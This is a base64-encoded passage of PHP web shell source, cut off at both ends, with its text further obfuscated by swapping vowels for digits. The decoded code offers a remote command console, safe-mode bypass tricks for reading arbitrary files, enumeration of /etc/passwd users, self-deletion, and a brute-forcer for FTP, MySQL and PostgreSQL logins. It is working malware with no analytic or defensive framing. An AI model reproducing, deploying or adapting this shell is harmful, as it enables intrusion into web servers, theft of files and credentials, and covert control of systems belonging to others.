CiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICdyNW4xbTUnOg0KICAgICAgICAgICAgNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KICAgICAgICAgICAgICAgIDRmKCFAcjVuMW01KCRfUE9TVFsncDYnXSwgJF9QT1NUWydwbyddKSkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAnQzFuXCd0IHI1bjFtNSE8YnI+JzsNCiAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgIGQ0NSgnPHNjcjRwdD5nKG4zbGwsbjNsbCwiJy4zcmw1bmMyZDUoJF9QT1NUWydwbyddKS4nIixuM2xsLCIiKTwvc2NyNHB0PicpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLm4xbTUudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1uMW01IHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICd0MjNjaCc6DQogICAgICAgICAgICA0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQogICAgICAgICAgICAgICAgJHQ0bTUgPSBzdHJ0MnQ0bTUoJF9QT1NUWydwbyddKTsNCiAgICAgICAgICAgICAgICA0ZigkdDRtNSkgew0KICAgICAgICAgICAgICAgICAgICA0ZighdDIzY2goJF9QT1NUWydwNiddLCR0NG01LCR0NG01KSkNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJ0YxNGwhJzsNCiAgICAgICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnVDIzY2g1ZCEnOw0KICAgICAgICAgICAgICAgIH0gNWxzNSA1Y2gyICdCMWQgdDRtNSBmMnJtMXQhJzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGNsNTFyc3QxdGMxY2g1KCk7DQogICAgICAgICAgICA1Y2gyICc8c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD48ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMudDIzY2gudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT10MjNjaCB2MWwzNT0iJy5kMXQ1KCJZLW0tZCBIOjQ6cyIsIEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQogICAgICAgICAgICBicjUxazsNCiAgICB9DQogICAgNWNoMiAnPC9kNHY+JzsNCiAgICB3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuUzFmNU0yZDUoKSB7DQogICAgJHQ1bXA9Jyc7DQogICAgMmJfc3QxcnQoKTsNCiAgICBzdzR0Y2goJF9QT1NUWydwNiddKSB7DQogICAgICAgIGMxczUgNjoNCiAgICAgICAgICAgICR0NW1wPUB0NW1wbjFtKCR0NXN0LCAnY3gnKTsNCiAgICAgICAgICAgIDRmKEBjMnB5KCJjMm1wcjVzcy56bDRiOi8vIi4kX1BPU1RbJ3BhJ10sICR0NW1wKSl7DQogICAgICAgICAgICAgICAgNWNoMiBAZjRsNV9nNXRfYzJudDVudHMoJHQ1bXApOw0KICAgICAgICAgICAgICAgIDNubDRuaygkdDVtcCk7DQogICAgICAgICAgICB9IDVsczUNCiAgICAgICAgICAgICAgICA1Y2gyICdTMnJyeS4uLiBDMW5cJ3QgMnA1biBmNGw1JzsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1IGE6DQogICAgICAgICAgICAkZjRsNXMgPSBnbDJiKCRfUE9TVFsncGEnXS4nKicpOw0KICAgICAgICAgICAgNGYoIDRzXzFycjF5KCRmNGw1cykgKQ0KICAgICAgICAgICAgICAgIGYycjUxY2ggKCRmNGw1cyAxcyAkZjRsNW4xbTUpDQogICAgICAgICAgICAgICAgICAgIDVjaDIgJGY0bDVuMW01LiJcbiI7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSBvOg0KICAgICAgICAgICAgJGNoID0gYzNybF80bjR0KCJmNGw1Oi8vIi4kX1BPU1RbJ3BhJ10uIlx4MDAiLnByNWdfcjVwbDFjNSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpOw0KICAgICAgICAgICAgYzNybF81eDVjKCRjaCk7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSB1Og0KICAgICAgICAgICAgNG40X3I1c3QycjUoInMxZjVfbTJkNSIpOw0KICAgICAgICAgICAgNG40X3I1c3QycjUoIjJwNW5fYjFzNWQ0ciIpOw0KICAgICAgICAgICAgNG5jbDNkNSgkX1BPU1RbJ3BhJ10pOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGMxczUgaToNCiAgICAgICAgICAgIGYycig7JF9QT1NUWydwYSddIDw9ICRfUE9TVFsncG8nXTskX1BPU1RbJ3BhJ10rKykgew0KICAgICAgICAgICAgICAgICQzNGQgPSBAcDJzNHhfZzV0cHczNGQoJF9QT1NUWydwYSddKTsNCiAgICAgICAgICAgICAgICA0ZiAoJDM0ZCkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiBqMjRuKCc6JywkMzRkKS4iXG4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgYnI1MWs7DQogICAgfQ0KICAgICR0NW1wID0gMmJfZzV0X2NsNTFuKCk7DQogICAgd3MySDUxZDVyKCk7DQogICAgNWNoMiAnPGg2PlMxZjUgbTJkNSBieXAxc3MgLSA8MSBocjVmPWh0dHA6Ly93d3cuZzIyZ2w1LmMybS50cnQ+JiNlaWlvbzsgIEJ5IFJjUCAgYDwvMT48L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KICAgIDVjaDIgJzxzcDFuPkMycHkgKHI1MWQgZjRsNSk8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwiNiIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPkdsMmIgKGw0c3QgZDRyKTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJhIix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+QzNybCAocjUxZCBmNGw1KTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJvIix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+SW40X3I1c3QycjUgKHI1MWQgZjRsNSk8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwidSIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPlAyczR4X2c1dHB3MzRkICgiUjUxZCIgLzV0Yy9wMXNzd2QpPC9zcDFuPjx0MWJsNT48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJpIix0aDRzLnAxcjFtNi52MWwzNSx0aDRzLnAxcjFtYS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjx0cj48dGQ+RnIybTwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbTYgdjFsMzU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UMjwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbWEgdjFsMzU9NjAwMD48L3RkPjwvdHI+PC90MWJsNT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCiAgICA0ZigkdDVtcCkNCiAgICAgICAgNWNoMiAnPHByNSBjbDFzcz0ibWw2IiBzdHlsNT0ibTFyZzRuLXQycDppcHgiIDRkPSJPM3RwM3QiPicuaHRtbHNwNWM0MWxjaDFycygkdDVtcCkuJzwvcHI1Pic7DQogICAgNWNoMiAnPC9kNHY+JzsNCiAgICB3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuQzJuczJsNSgpIHsNCiAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSAmJiAhNW1wdHkoJF9QT1NUWydwYSddKSkgew0KICAgICAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZDVycl90Ml8yM3QnXSA9IHRyMzU7DQogICAgICAgICRfUE9TVFsncDYnXSAuPSAnIGE+JjYnOw0KICAgIH0gNWxzNTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKQ0KICAgICAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZDVycl90Ml8yM3QnXSA9IGYxbHM1Ow0KDQogICAgNGYoNHNzNXQoJF9QT1NUWycxajF4J10pKSB7DQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gdHIzNTsNCiAgICAgICAgMmJfc3QxcnQoKTsNCiAgICAgICAgNWNoMiAiZC5jZi5jbWQudjFsMzU9Jyc7XG4iOw0KICAgICAgICAkdDVtcCA9IEA0YzJudigkX1BPU1RbJ2NoMXJzNXQnXSwgJ1VURi04JywgMWRkY3NsMXNoNXMoIlxuJCAiLiRfUE9TVFsncDYnXS4iXG4iLndzMkV4KCRfUE9TVFsncDYnXSksIlxuXHJcdFxcJ1wwIikpOw0KICAgICAgICA0ZihwcjVnX20xdGNoKCIhLipjZFxzKyhbXjtdKykkISIsJF9QT1NUWydwNiddLCRtMXRjaCkpICAgIHsNCiAgICAgICAgICAgIDRmKEBjaGQ0cigkbTF0Y2hbNl0pKSB7DQogICAgICAgICAgICAgICAgJEdMT0JBTFNbJ2N3ZCddID0gQGc1dGN3ZCgpOw0KICAgICAgICAgICAgICAgIDVjaDIgImNfPSciLiRHTE9CQUxTWydjd2QnXS4iJzsiOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIDVjaDIgImQuY2YuMjN0cDN0LnYxbDM1Kz0nIi4kdDVtcC4iJzsiOw0KICAgICAgICA1Y2gyICJkLmNmLjIzdHAzdC5zY3IybGxUMnAgPSBkLmNmLjIzdHAzdC5zY3IybGxINTRnaHQ7IjsNCiAgICAgICAgJHQ1bXAgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICAgICAgNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCiAgICAgICAgNXg0dDsNCiAgICB9DQogICAgd3MySDUxZDVyKCk7DQogICAgNWNoMiAiPHNjcjRwdD4NCjRmKHc0bmQydy5FdjVudCkgdzRuZDJ3LmMxcHQzcjVFdjVudHMoRXY1bnQuS0VZRE9XTik7DQp2MXIgY21kcyA9IG41dyBBcnIxeSgnJyk7DQp2MXIgYzNyID0gMDsNCmYzbmN0NDJuIGtwKDUpIHsNCiAgICB2MXIgbiA9ICh3NG5kMncuRXY1bnQpID8gNS53aDRjaCA6IDUuazV5QzJkNTsNCiAgICA0ZihuID09IG84KSB7DQogICAgICAgIGMzci0tOw0KICAgICAgICA0ZihjM3I+PTApDQogICAgICAgICAgICBkMmMzbTVudC5jZi5jbWQudjFsMzUgPSBjbWRzW2Mzcl07DQogICAgICAgIDVsczUNCiAgICAgICAgICAgIGMzcisrOw0KICAgIH0gNWxzNSA0ZihuID09IHUwKSB7DQogICAgICAgIGMzcisrOw0KICAgICAgICA0ZihjM3IgPCBjbWRzLmw1bmd0aCkNCiAgICAgICAgICAgIGQyYzNtNW50LmNmLmNtZC52MWwzNSA9IGNtZHNbYzNyXTsNCiAgICAgICAgNWxzNQ0KICAgICAgICAgICAgYzNyLS07DQogICAgfQ0KfQ0KZjNuY3Q0Mm4gMWRkKGNtZCkgew0KICAgIGNtZHMucDJwKCk7DQogICAgY21kcy5wM3NoKGNtZCk7DQogICAgY21kcy5wM3NoKCcnKTsNCiAgICBjM3IgPSBjbWRzLmw1bmd0aC02Ow0KfQ0KPC9zY3I0cHQ+IjsNCiAgICA1Y2gyICc8aDY+SzJuczJsIC0gPDEgaHI1Zj1odHRwOi8vd3d3LmcyMmdsNS5jMm0udHJ0PiYjZWlpb287ICBCeSBSY1AgIGA8LzE+PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PGYycm0gbjFtNT1jZiAybnMzYm00dD0iNGYoZC5jZi5jbWQudjFsMzU9PVwnY2w1MXJcJyl7ZC5jZi4yM3RwM3QudjFsMzU9XCdcJztkLmNmLmNtZC52MWwzNT1cJ1wnO3I1dDNybiBmMWxzNTt9MWRkKHRoNHMuY21kLnYxbDM1KTs0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsdGg0cy5jbWQudjFsMzUsdGg0cy5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fTVsczV7ZyhuM2xsLG4zbGwsdGg0cy5jbWQudjFsMzUsdGg0cy5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fSByNXQzcm4gZjFsczU7Ij48czVsNWN0IG4xbTU9MWw0MXM+JzsNCiAgICBmMnI1MWNoKCRHTE9CQUxTWycxbDQxczVzJ10gMXMgJG4gPT4gJHYpIHsNCiAgICAgICAgNGYoJHYgPT0gJycpIHsNCiAgICAgICAgICAgIDVjaDIgJzwycHRncjIzcCBsMWI1bD0iLScuaHRtbHNwNWM0MWxjaDFycygkbikuJy0iPjwvMnB0Z3IyM3A+JzsNCiAgICAgICAgICAgIGMybnQ0bjM1Ow0KICAgICAgICB9DQogICAgICAgIDVjaDIgJzwycHQ0Mm4gdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkdikuJyI+Jy4kbi4nPC8ycHQ0Mm4+JzsNCiAgICB9DQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSBmMWxzNTsNCiAgICA1Y2gyICc8L3M1bDVjdD48NG5wM3QgdHlwNT1iM3R0Mm4gMm5jbDRjaz0iMWRkKGQuY2YuMWw0MXMudjFsMzUpOzRmKGQuY2YuMWoxeC5jaDVjazVkKXsxKG4zbGwsbjNsbCxkLmNmLjFsNDFzLnYxbDM1LGQuY2Yuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO301bHM1e2cobjNsbCxuM2xsLGQuY2YuMWw0MXMudjFsMzUsZC5jZi5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fSIgdjFsMzU9Ij4+Ij4gPG4yYnI+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0xajF4IHYxbDM1PTYgJy4oQCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuJz4gczVuZCAzczRuZyBBSkFYIDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9c2gyd181cnIycnMgdjFsMzU9NiAnLighNW1wdHkoJF9QT1NUWydwYSddKXx8JF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGQ1cnJfdDJfMjN0J10/J2NoNWNrNWQnOicnKS4nPiByNWQ0cjVjdCBzdGQ1cnIgdDIgc3RkMjN0IChhPiY2KTwvbjJicj48YnIvPjx0NXh0MXI1MSBjbDFzcz1iNGcxcjUxIG4xbTU9MjN0cDN0IHN0eWw1PSJiMnJkNXItYjJ0dDJtOjA7bTFyZzRuOjA7IiByNTFkMm5seT4nOw0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycygiJCAiLiRfUE9TVFsncDYnXS4iXG4iLndzMkV4KCRfUE9TVFsncDYnXSkpOw0KICAgIH0NCiAgICA1Y2gyICc8L3Q1eHQxcjUxPjx0MWJsNSBzdHlsNT0iYjJyZDVyOjZweCBzMmw0ZCAjZGZpO2IxY2tncjIzbmQtYzJsMnI6I2lpaTtiMnJkNXItdDJwOjBweDsiIGM1bGxwMWRkNG5nPTAgYzVsbHNwMWM0bmc9MCB3NGR0aD0iNjAwJSI+PHRyPjx0ZCB3NGR0aD0iNiUiPiQ8L3RkPjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9Y21kIHN0eWw1PSJiMnJkNXI6MHB4O3c0ZHRoOjYwMCU7IiAybms1eWQyd249ImtwKDV2NW50KTsiPjwvdGQ+PC90cj48L3QxYmw1Pic7DQogICAgNWNoMiAnPC9mMnJtPjwvZDR2PjxzY3I0cHQ+ZC5jZi5jbWQuZjJjM3MoKTs8L3NjcjRwdD4nOw0KICAgIHdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5MMmcyM3QoKSB7DQogICAgczVzczQybl9kNXN0cjJ5KCk7DQogICAgZDQ1KCdieTUhJyk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblM1bGZSNW0ydjUoKSB7DQogICAgDQogICAgNGYoJF9QT1NUWydwNiddID09ICd5NXMnKQ0KICAgICAgICA0ZihAM25sNG5rKHByNWdfcjVwbDFjNSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpKQ0KICAgICAgICAgICAgZDQ1KCdTaDVsbCBoMXMgYjU1biByNW0ydjVkJyk7DQogICAgICAgIDVsczUNCiAgICAgICAgICAgIDVjaDIgJzNubDRuayA1cnIyciEnOw0KICAgIDRmKCRfUE9TVFsncDYnXSAhPSAneTVzJykNCiAgICAgICAgd3MySDUxZDVyKCk7DQogICAgNWNoMiAnPGg2PlMycjMgRWtyMW40ICA8MSBocjVmPWh0dHA6Ly93d3cuZzIyZ2w1LmMybS50cnQ+JiNlaWlvbzsgIEJ5IFJjUCAgYDwvMT48L2g2PjxkNHYgY2wxc3M9YzJudDVudD5HNXJjNWt0NW4gczRsNGM1a200czRuPGJyPjwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxcJ3k1c1wnKSI+RVZFVDwvMT48L2Q0dj4nOw0KICAgIHdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5CcjN0NWYycmM1KCkgew0KICAgIHdzMkg1MWQ1cigpOw0KICAgIDRmKCA0c3M1dCgkX1BPU1RbJ3ByMnQyJ10pICkgew0KICAgICAgICA1Y2gyICc8aDY+UzJuM2NsMXIgPDEgaHI1Zj1odHRwOi8vd3d3LmcyMmdsNS5jMm0udHJ0PiYjZWlpb287ICBCeSBSY1AgIGA8LzE+PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHNwMW4+VHlwNTo8L3NwMW4+ICcuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3ByMnQyJ10pLicgPHNwMW4+UzVydjVyOjwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnczVydjVyJ10pLic8YnI+JzsNCiAgICAgICAgNGYoICRfUE9TVFsncHIydDInXSA9PSAnZnRwJyApIHsNCiAgICAgICAgICAgIGYzbmN0NDJuIGJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgew0KICAgICAgICAgICAgICAgICRmcCA9IEBmdHBfYzJubjVjdCgkNHAsICRwMnJ0PyRwMnJ0OmE2KTsNCiAgICAgICAgICAgICAgICA0ZighJGZwKSByNXQzcm4gZjFsczU7DQogICAgICAgICAgICAgICAgJHI1cyA9IEBmdHBfbDJnNG4oJGZwLCAkbDJnNG4sICRwMXNzKTsNCiAgICAgICAgICAgICAgICBAZnRwX2NsMnM1KCRmcCk7DQogICAgICAgICAgICAgICAgcjV0M3JuICRyNXM7DQogICAgICAgICAgICB9DQogICAgICAgIH0gNWxzNTRmKCAkX1BPU1RbJ3ByMnQyJ10gPT0gJ215c3FsJyApIHsNCiAgICAgICAgICAgIGYzbmN0NDJuIGJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgew0KICAgICAgICAgICAgICAgICRyNXMgPSBAbXlzcWxfYzJubjVjdCgkNHAuJzonLiRwMnJ0PyRwMnJ0Om9vMGUsICRsMmc0biwgJHAxc3MpOw0KICAgICAgICAgICAgICAgIEBteXNxbF9jbDJzNSgkcjVzKTsNCiAgICAgICAgICAgICAgICByNXQzcm4gJHI1czsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSA1bHM1NGYoICRfUE9TVFsncHIydDInXSA9PSAncGdzcWwnICkgew0KICAgICAgICAgICAgZjNuY3Q0Mm4gYnIzdDVGMnJjNSgkNHAsJHAycnQsJGwyZzRuLCRwMXNzKSB7DQogICAgICAgICAgICAgICAgJHN0ciA9ICJoMnN0PSciLiQ0cC4iJyBwMnJ0PSciLiRwMnJ0LiInIDNzNXI9JyIuJGwyZzRuLiInIHAxc3N3MnJkPSciLiRwMXNzLiInIGRibjFtNT1wMnN0Z3I1cyI7DQogICAgICAgICAgICAgICAgJHI1cyA9IEBwZ19jMm5uNWN0KCRzdHIpOw0KICAgICAgICAgICAgICAgIEBwZ19jbDJzNSgkcjVzKTsNCiAgICAgICAgICAgICAgICByNXQzcm4gJHI1czsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkczNjYzVzcyA9IDA7DQogICAgICAgICQxdHQ1bXB0cyA9IDA7DQogICAgICAgICRzNXJ2NXIgPSA1eHBsMmQ1KCI6IiwgJF9QT1NUWydzNXJ2NXInXSk7DQogICAgICAgIDRmKCRfUE9TVFsndHlwNSddID09IDYpIHsNCiAgICAgICAgICAgICR0NW1wID0gQGY0bDUoJy81dGMvcDFzc3dkJyk7DQogICAgICAgICAgICA0ZiggNHNfMXJyMXkoJHQ1bXApICkNCiAgICAgICAgICAgICAgICBmMnI1MWNoKCR0NW1wIDFzICRsNG41KSB7DQogICAgICAgICAgICAgICAgICAgICRsNG41ID0gNXhwbDJkNSgiOiIsICRsNG41KTsNCiAgICAgICAgICAgICAgICAgICAgKyskMXR0NW1wdHM7DQogICAgICAgICAgICAgICAgICAgIDRmKCBicjN0NUYycmM1KEAkczVydjVyWzBdLEAkczVydjVyWzZdLCAkbDRuNVswXSwgJGw0bjVbMF0pICkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHMzY2M1c3MrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCRsNG41WzBdKS4nPGJyPic7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgNGYoQCRfUE9TVFsncjV2NXJzNSddKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkdG1wID0gIiI7DQogICAgICAgICAgICAgICAgICAgICAgICBmMnIoJDQ9c3RybDVuKCRsNG41WzBdKS02OyAkND49MDsgLS0kNCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG1wIC49ICRsNG41WzBdWyQ0XTsNCiAgICAgICAgICAgICAgICAgICAgICAgICsrJDF0dDVtcHRzOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoIGJyM3Q1RjJyYzUoQCRzNXJ2NXJbMF0sQCRzNXJ2NXJbNl0sICRsNG41WzBdLCAkdG1wKSApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkczNjYzVzcysrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCR0bXApOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICB9IDVsczU0ZigkX1BPU1RbJ3R5cDUnXSA9PSBhKSB7DQogICAgICAgICAgICAkdDVtcCA9IEBmNGw1KCRfUE9TVFsnZDRjdCddKTsNCiAgICAgICAgICAgIDRmKCA0c18xcnIxeSgkdDVtcCkgKQ0KICAgICAgICAgICAgICAgIGYycjUxY2goJHQ1bXAgMXMgJGw0bjUpIHsNCiAgICAgICAgICAgICAgICAgICAgJGw0bjUgPSB0cjRtKCRsNG41KTsNCiAgICAgICAgICAgICAgICAgICAgKyskMXR0NW1wdHM7DQogICAgICAgICAgICAgICAgICAgIDRmKCBicjN0NUYycmM1KCRzNXJ2NXJbMF0sQCRzNXJ2NXJbNl0sICRfUE9TVFsnbDJnNG4nXSwgJGw0bjUpICkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHMzY2M1c3MrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2wyZzRuJ10pLic8L2I+OicuaHRtbHNwNWM0MWxjaDFycygkbDRuNSkuJzxicj4nOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIDVjaDIgIjxzcDFuPkF0dDVtcHRzOjwvc3Axbj4gJDF0dDVtcHRzIDxzcDFuPlMzY2M1c3M6PC9zcDFuPiAkczNjYzVzczwvZDR2Pjxicj4iOw0KICAgIH0NCiAgICA1Y2gyICc8aDY+RlRQIGJyM3Q1ZjJyYzUgPDEgaHI1Zj1odHRwOi8vd3d3LmcyMmdsNS5jMm0udHJ0PiYjZWlpb287ICBCeSBSY1AgIGA8LzE+PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHQxYmw1PjxmMnJtIG01dGgyZD1wMnN0Pjx0cj48dGQ+PHNwMW4+VHlwNTwvc3Axbj48L3RkPicNCiAgICAgICAgLic8dGQ+PHM1bDVjdCBuMW01PXByMnQyPjwycHQ0Mm4gdjFsMzU9ZnRwPkZUUDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9bXlzcWw+TXlTcWw8LzJwdDQybj48MnB0NDJuIHYxbDM1PXBnc3FsPlAyc3RncjVTcWw8LzJwdDQybj48L3M1bDVjdD48L3RkPjwvdHI+PHRyPjx0ZD4nDQogICAgICAgIC4nPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+Jw0KICAgICAgICAuJzw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJzEnXSkuJyI+Jw0KICAgICAgICAuJzw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2NoMXJzNXQnXSkuJyI+Jw0KICAgICAgICAuJzxzcDFuPlM1cnY1cjpwMnJ0PC9zcDFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9czVydjVyIHYxbDM1PSI2YTcuMC4wLjYiPjwvdGQ+PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48c3Axbj5CcjN0NSB0eXA1PC9zcDFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48bDFiNWw+PDRucDN0IHR5cDU9cjFkNDIgbjFtNT10eXA1IHYxbDM1PSI2IiBjaDVjazVkPiAvNXRjL3Axc3N3ZDwvbDFiNWw+PC90ZD48L3RyPicNCiAgICAgICAgLic8dHI+PHRkPjwvdGQ+PHRkPjxsMWI1bCBzdHlsNT0icDFkZDRuZy1sNWZ0OjZpcHgiPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9cjV2NXJzNSB2MWwzNT02IGNoNWNrNWQ+IHI1djVyczUgKGwyZzRuIC0+IG40ZzJsKTwvbDFiNWw+PC90ZD48L3RyPicNCiAgICAgICAgLic8dHI+PHRkPjwvdGQ+PHRkPjxsMWI1bD48NG5wM3QgdHlwNT1yMWQ0MiBuMW01PXR5cDUgdjFsMzU9ImEiPiBENGN0NDJuMXJ5PC9sMWI1bD48L3RkPjwvdHI+Jw0KICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PHQxYmw1IHN0eWw1PSJwMWRkNG5nLWw1ZnQ6NmlweCI+PHRyPjx0ZD48c3Axbj5MMmc0bjwvc3Axbj48L3RkPicNCiAgICAgICA